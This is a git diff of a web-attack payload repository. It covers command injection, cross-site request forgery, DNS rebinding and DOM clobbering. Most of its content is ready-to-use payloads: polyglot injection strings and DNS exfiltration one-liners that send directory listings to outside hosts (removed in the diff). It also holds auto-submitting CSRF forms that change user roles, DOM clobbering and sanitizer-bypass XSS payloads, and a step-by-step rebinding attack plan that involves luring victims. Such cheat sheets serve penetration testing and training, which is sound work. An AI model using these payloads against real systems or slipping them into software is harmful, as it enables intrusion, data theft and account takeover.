|
||||||
|
```
|
||||||
|
|
||||||
|
Online tools to check for DNS based data exfiltration:
|
||||||
|
|
||||||
|
- http://dnsbin.zhack.ca/
|
||||||
|
- https://app.interactsh.com/
|
||||||
|
- Burp Collaborator
|
||||||
|
|
||||||
|
|
||||||
|
## Polyglot Command Injection
|
||||||
|
|
||||||
|
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
|
||||||
|
|
||||||
|
* Example 1:
|
||||||
|
```powershell
|
||||||
|
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
|
||||||
|
# Context inside commands with single and double quote:
|
||||||
|
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
```
|
||||||
|
* Example 2:
|
||||||
|
```powershell
|
||||||
|
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
|
||||||
|
# Context inside commands with single and double quote:
|
||||||
|
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
|
||||||
|
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Tricks
|
||||||
|
|
||||||
|
### Backgrounding Long Running Commands
|
||||||
|
|
||||||
|
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
|
||||||
|
Using `nohup`, you can keep the process running after the parent process exits.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nohup sleep 120 > /dev/null &
|
||||||
|
```
|
||||||
|
|
||||||
|
### Remove Arguments After The Injection
|
||||||
|
|
||||||
|
In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
|
||||||
|
* [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
|
||||||
|
* [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
|
||||||
|
* [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
|
||||||
|
* [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
|
||||||
|
* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
|
||||||
|
* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
|
||||||
|
* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
|
||||||
|
* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
|
||||||
|
|
||||||
|
### Challenge
|
||||||
|
|
||||||
Challenge based on the previous tricks, what does the following command do:
|
Challenge based on the previous tricks, what does the following command do:
|
||||||
|
|
||||||
@@ -242,64 +434,17 @@ Challenge based on the previous tricks, what does the following command do:
|
|||||||
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Time based data exfiltration
|
**NOTE**: The command is safe to run, but you should not trust me.
|
||||||
|
|
||||||
Extracting data : char by char
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
||||||
real 0m5.007s
|
|
||||||
user 0m0.000s
|
|
||||||
sys 0m0.000s
|
|
||||||
|
|
||||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
||||||
real 0m0.002s
|
|
||||||
user 0m0.000s
|
|
||||||
sys 0m0.000s
|
|
||||||
```
|
|
||||||
|
|
||||||
## DNS based data exfiltration
|
|
||||||
|
|
||||||
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
|
||||||
2. Execute a simple 'ls'
|
|
||||||
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
||||||
```
|
|
||||||
|
|
||||||
Online tools to check for DNS based data exfiltration:
|
|
||||||
|
|
||||||
- dnsbin.zhack.ca
|
|
||||||
- pingb.in
|
|
||||||
|
|
||||||
## Polyglot command injection
|
|
||||||
|
|
||||||
```bash
|
|
||||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
||||||
|
|
||||||
e.g:
|
|
||||||
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
||||||
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
||||||
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
||||||
|
|
||||||
e.g:
|
|
||||||
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
||||||
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
|
|
||||||
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
- [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
|
||||||
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
|
- [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
|
||||||
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
|
- [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
|
||||||
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)
|
- [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
|
||||||
|
- [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
|
||||||
|
- [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
|
||||||
|
- [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
|
||||||
|
- [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
||||||
|
- [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
|
||||||
|
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 407 KiB |
174
Cross-Site Request Forgery/README.md
Normal file
174
Cross-Site Request Forgery/README.md
Normal file
@@ -0,0 +1,174 @@
|
|||||||
|
# Cross-Site Request Forgery
|
||||||
|
|
||||||
|
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
||||||
|
* [HTML GET - No User Interaction](#html-get---no-user-interaction)
|
||||||
|
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
|
||||||
|
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
|
||||||
|
* [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
|
||||||
|
* [JSON GET - Simple Request](#json-get---simple-request)
|
||||||
|
* [JSON POST - Simple Request](#json-post---simple-request)
|
||||||
|
* [JSON POST - Complex Request](#json-post---complex-request)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
||||||
|
|
||||||
|
|
||||||
|
### HTML GET - Requiring User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### HTML GET - No User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### HTML POST - Requiring User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||||
|
<input name="username" type="hidden" value="CSRFd" />
|
||||||
|
<input type="submit" value="Submit Request" />
|
||||||
|
</form>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### HTML POST - AutoSubmit - No User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||||
|
<input name="username" type="hidden" value="CSRFd" />
|
||||||
|
<input type="submit" value="Submit Request" />
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
document.getElementById("autosubmit").submit();
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
function launch(){
|
||||||
|
const dT = new DataTransfer();
|
||||||
|
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
|
||||||
|
dT.items.add( file );
|
||||||
|
document.xss[0].files = dT.files;
|
||||||
|
|
||||||
|
document.xss.submit()
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
|
||||||
|
<input id="file" type="file" name="file"/>
|
||||||
|
<input type="submit" name="" value="" size="0" />
|
||||||
|
</form>
|
||||||
|
<button value="button" onclick="launch()">Submit Request</button>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JSON GET - Simple Request
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("GET", "http://www.example.com/api/currentuser");
|
||||||
|
xhr.send();
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JSON POST - Simple Request
|
||||||
|
|
||||||
|
With XHR :
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||||
|
//application/json is not allowed in a simple request. text/plain is the default
|
||||||
|
xhr.setRequestHeader("Content-Type", "text/plain");
|
||||||
|
//You will probably want to also try one or both of these
|
||||||
|
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||||
|
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
||||||
|
xhr.send('{"role":admin}');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
|
||||||
|
// this input will send : {"role":admin,"other":"="}
|
||||||
|
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
document.getElementById("CSRF_POC").submit();
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### JSON POST - Complex Request
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||||
|
xhr.withCredentials = true;
|
||||||
|
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
||||||
|
xhr.send('{"role":admin}');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
|
||||||
|
* [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
|
||||||
|
* [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
|
||||||
|
* [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
|
||||||
|
* [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
|
||||||
|
* [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
|
||||||
|
* [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
|
||||||
|
* [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
|
||||||
|
- [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
|
||||||
|
- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
|
||||||
|
- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
|
||||||
|
- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
|
||||||
|
- [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
|
||||||
|
- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
|
||||||
|
- [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
|
||||||
|
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
|
||||||
|
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
||||||
|
- [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
||||||
|
- [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||||
|
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||||
|
- [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
|
||||||
@@ -5,27 +5,53 @@
|
|||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Exploitation](#exploitation)
|
* [Methodology](#methodology)
|
||||||
* [Protection Bypasses](#protection-bypasses)
|
* [Protection Bypasses](#protection-bypasses)
|
||||||
|
* [0.0.0.0](#0000)
|
||||||
|
* [CNAME](#CNAME)
|
||||||
|
* [localhost](#localhost)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [Singularity of Origin](https://github.com/nccgroup/singularity) - is a tool to perform DNS rebinding attacks.
|
- [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
||||||
- [Singularity of Origin Web Client](http://rebind.it/) (manager interface, port scanner and autoattack)
|
- [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
|
||||||
|
- [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
|
||||||
|
- [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
First, we need to make sure that the targeted service is vulnerable to DNS rebinding.
|
## Methodology
|
||||||
It can be done with a simple curl request:
|
|
||||||
|
|
||||||
```bash
|
**Setup Phase**:
|
||||||
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080
|
|
||||||
```
|
|
||||||
|
|
||||||
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable.
|
* Register a malicious domain (e.g., `malicious.com`).
|
||||||
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
|
* Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
|
||||||
|
|
||||||
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps:
|
**Initial Victim Interaction**:
|
||||||
|
|
||||||
|
* Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
|
||||||
|
* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
|
||||||
|
|
||||||
|
**Initial DNS Resolution**:
|
||||||
|
|
||||||
|
* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
|
||||||
|
* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
|
||||||
|
|
||||||
|
**Rebinding to Internal IP**:
|
||||||
|
|
||||||
|
* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim’s router or other internal devices).
|
||||||
|
|
||||||
|
This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
|
||||||
|
|
||||||
|
**Same-Origin Exploitation:**
|
||||||
|
|
||||||
|
The browser treats subsequent responses as coming from the same origin (`malicious.com`).
|
||||||
|
|
||||||
|
Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
|
||||||
|
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
|
||||||
1. Register a domain.
|
1. Register a domain.
|
||||||
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
|
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
|
||||||
@@ -33,6 +59,7 @@ Then, if the service is vulnerable, we can abuse DNS rebinding by following thes
|
|||||||
4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
|
4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
|
||||||
5. Wait for the attack to finish (it can take few seconds/minutes).
|
5. Wait for the attack to finish (it can take few seconds/minutes).
|
||||||
|
|
||||||
|
|
||||||
## Protection Bypasses
|
## Protection Bypasses
|
||||||
|
|
||||||
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
|
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
|
||||||
@@ -68,8 +95,7 @@ $ dig www.example.com +noall +answer
|
|||||||
localhost.example.com. 381 IN CNAME localhost.
|
localhost.example.com. 381 IN CNAME localhost.
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [How Do DNS Rebinding Attacks Work? - nccgroup, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
|
- [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
141
DOM Clobbering/README.md
Normal file
141
DOM Clobbering/README.md
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
# DOM Clobbering
|
||||||
|
|
||||||
|
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [Methodology](#methodology)
|
||||||
|
- [Lab](#lab)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
|
||||||
|
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
|
||||||
|
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
Exploitation requires any kind of `HTML injection` in the page.
|
||||||
|
|
||||||
|
* Clobbering `x.y.value`
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<form id=x><output id=y>I've been clobbered</output>
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>alert(x.y.value);</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `x.y` using ID and name attributes together to form a DOM collection
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<a id=x><a id=x name=y href="Clobbered">
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>alert(x.y)</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `x.y.z` - 3 levels deep
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<form id=x name=y><input id=z></form>
|
||||||
|
<form id=x></form>
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>alert(x.y.z)</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `a.b.c.d` - more than 3 levels
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<iframe name=a srcdoc="
|
||||||
|
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
|
||||||
|
<style>@import '//portswigger.net';</style>
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>alert(a.b.c.d)</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `forEach` (Chrome only)
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<form id=x>
|
||||||
|
<input id=y name=z>
|
||||||
|
<input id=y>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>x.y.forEach(element=>alert(element))</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
|
||||||
|
```html
|
||||||
|
// Payloads
|
||||||
|
<html id="cdnDomain">clobbered</html>
|
||||||
|
<svg><body id=cdnDomain>clobbered</body></svg>
|
||||||
|
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>
|
||||||
|
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering `x.username`
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>
|
||||||
|
alert(x.username)//Clobbered-username
|
||||||
|
alert(x.password)//Clobbered-password
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering (Firefox only)
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<base href=a:abc><a id=x href="Firefox<>">
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>
|
||||||
|
alert(x)//Firefox<>
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Clobbering (Chrome only)
|
||||||
|
```html
|
||||||
|
// Payload
|
||||||
|
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
|
||||||
|
|
||||||
|
// Sink
|
||||||
|
<script>
|
||||||
|
alert(x.xyz)//a://Clobbered<>
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Tricks
|
||||||
|
|
||||||
|
* DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`
|
||||||
|
|
||||||
|
|
||||||
|
## Lab
|
||||||
|
|
||||||
|
- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
|
||||||
|
